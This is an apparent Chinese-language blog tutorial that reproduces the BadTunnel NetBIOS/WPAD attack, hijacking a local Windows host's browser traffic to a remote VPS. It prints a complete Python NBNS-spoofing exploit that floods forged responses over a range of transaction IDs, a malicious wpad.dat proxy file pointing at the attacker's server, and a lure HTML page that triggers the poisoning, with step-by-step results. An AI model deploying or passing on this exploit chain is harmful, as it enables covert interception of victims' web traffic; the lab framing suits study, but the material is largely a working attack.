不少人的关注点都是集中在WPAD协议的利用姿势方面 而忽略的最核心的点 'Tunnel'顾名思义即隧道 而这个漏洞的精髓就是靠的这个Tunnel 使得劫持任意网段主机流量成为可能 关于漏洞的起因我就不多说了 乌云drop里的文章已经说的很详细了 这里
下面模拟下真实的远程内网劫持攻击:
测试环境:本地一台内网windows主机 + 远程一台阿里云VPS
测试目标:本地用浏览器打开构造好的网页后 完成将本地网络流量劫持到远程的VPS主机上
说下具体的攻击步骤:
0x1 本地主机
本地不要做任何设置 只要保证IE浏览器的自动检测代理为默认开启就行
主机通过无线路由上网 处于内网之中
NetBois 缓存也已清空
0x2 远程主机
先看下IP
第一个文件最重要的当然利用代码 内容如下:
__author__
= 'T3rry'
# Poison a system's NetBIOS resolver for the WPAD name from outside NAT
# Usage: python badtunnel.py wpad_server_ip
from socket import *
import sys
import binascii
import time
HOST = '0.0.0.0'
PORT = 137
BUFSIZE = 1024
ADDR = (HOST,PORT)
TRANSACTION_ID_BLOCK=100
NB_RESPONSE_PACKET='''
FFFF
8500
0000000100000000
20464846414542454543414341434143414341434143414341434143414341414100
0020
0001
00FFFFFF
0006
0000
FFFFFFFF
'''
PAYLOAD = binascii.a2b_hex((NB_RESPONSE_PACKET.replace('\t','').replace('\n','').replace(' ','')))
def usage():
print ("usage: python badtunnel.py wpad_server_ip")
def parse_nbns(data):
transaction_id=data[:2]
print "TransactionId :", hex(ord(transaction_id[0])),hex(ord(transaction_id[1]))
type= data[-4:-2]
if type=='\x00\x20':
print ("Type is: NB Query")
elif type=='\x00\x21':
print ("Type is: NBStat Query")
return transaction_id
def convert_ipv4_address(ip):
ip_addr = ip
packed_ip_addr = inet_aton(ip_addr)
unpacked_ip_addr = inet_ntoa(packed_ip_addr)
return binascii.hexlify(packed_ip_addr)
if __name__ == "__main__":
wpad_server_ip=''
if(len(sys.argv) < 2 ):
usage()
exit()
else:
wpad_server_ip= binascii.a2b_hex(convert_ipv4_address(sys.argv[1]))
badTunnel = socket(AF_INET, SOCK_DGRAM)
badTunnel.bind(ADDR)
while(True):
transaction_id=0
print ('Waiting for message...')
data, addr = badTunnel.recvfrom(BUFSIZE)
print ("[*] NetBIOS request from %s:%s..."%(addr[0],addr[1]))
transaction_id=parse_nbns(data)
if(transaction_id>0):
index=binascii.b2a_hex(transaction_id)
print ("Start sending payload data...")
for i in range(int(index,16)-TRANSACTION_ID_BLOCK,int(index,16)+TRANSACTION_ID_BLOCK):
data=list(PAYLOAD)
id=binascii.a2b_hex(hex(i)[2:])
data[0] =id[0]
data[1] =id[1]
data[58]=wpad_server_ip[0]
data[59]=wpad_server_ip[1]
data[60]=wpad_server_ip[2]
data[61]=wpad_server_ip[3]
payload=''.join(data)
badTunnel.sendto(payload,addr)
time.sleep(0.02)
print ("Send payload data finished ")
badTunnel.close()
注意:代码中的transaction_id 变量 这个是从请求包中解析出来的 最终payload的构成就是依赖这个值 TRANSACTION_ID_BLOCK我把它设成了100 区间为200 这对攻击的成功率很关键
function
FindProxyForURL(url, host) {
// URLs within this network are accessed directly
if (isInNet(host, "127.0.0.1", "255.255.255.0"))
{
return "DIRECT";
}
return "PROXY x.x.x.x:8080; DIRECT";
}
其中x.x.x.x 为VPS的外网IP 将配置好的文件上传到Web服务器的 根目录下
对了 为了顺利的劫持流量 还要准备一个 http代理脚本 这个我就不贴了 网上一大堆
然后 分别运行攻击脚本和代理脚本
0x3 流量劫持
所有的准备工作已完成 下面就是用浏览器打开 构造好的html文件 其实文件的内容很简单 贴下吧
<html>
<img src="\\x.x.x.x\BadTunnel">
<img src="http://WPAD/wpad.dat">
</html>
其中x.x.x.x 为VPS的公网IP
浏览器本地打开网页
接下来我们看看VPS上的反应
我们看到攻击脚本检测到了请求 并发送了伪造的数据包
同时发现Web日志里有了WPAD.dat 文件的下载记录
有兴趣的同学可以自己用WireShark抓包看看数据包的交互过程
我们先本地查下看Netbois缓存记录
发现NetBois的缓存已经被成功写入
到了这里说明攻击已经成功了
我们打开IE浏览器验证下 查看下IP 发现显示为VPS的地址
再到vps看下 发现刚才的浏览器的访问请求已经被记录了下来
涉及到的代码 这里